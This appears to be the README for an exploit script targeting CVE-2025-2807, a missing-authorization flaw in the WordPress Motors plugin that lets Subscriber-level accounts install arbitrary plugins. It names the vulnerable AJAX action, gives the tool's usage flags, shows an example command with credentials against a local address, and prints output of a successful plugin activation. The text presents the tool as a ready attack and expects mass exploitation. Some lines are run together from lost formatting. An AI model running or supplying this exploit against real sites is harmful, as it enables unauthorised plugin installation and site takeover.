
Wordpress - Motors Plugin <= 1.4.64 - Arbitrary Plugin Installation Vulnerability
Exploit By: Nxploited | Khaled Alenazi
Plugin: Motors (<= 1.4.64)
Type: Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation
Severity: 8.8 (CVSS v3)
Discovered On: 07 April 2025
VDP: No
This vulnerability allows any authenticated WordPress user (Subscriber+) to install arbitrary plugins without any proper authorization check.
Due to the lack of capability validation in the mvl_setup_wizard_install_plugin function, a low-privileged user can perform actions reserved for administrators.
📅 Expected to be mass-exploited due to its simplicity and critical impact.
/wp-admin/admin-ajax.phpmvl_setup_wizard_install_plugincurrent_user_can('install_plugins') or similar capability checkThis script:
usage: CVE-2025-2807.py [-h] -u URL -un USERNAME -p PASSWORD [-pn PLUGIN]
Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site
-un, --username USERNAME Subscriber username
-p, --password PASSWORD Subscriber password
-pn, --plugin PLUGIN Plugin to install (default: contact-form-7)
python3 CVE-2025-2807.py -u http://192.168.1.100/wordpress -un subscriber -p 123456 -pn contact-form-7
[*] Logging in...
[+] Logged in successfully.
[*] Fetching setup wizard page...
[+] Found nonce in HTML: 428cdf8347
[*] Attempting to install plugin: contact-form-7
[+] Plugin installation request sent successfully!
[+] Response: {"success":true,"data":"Plugin succesfully activated"}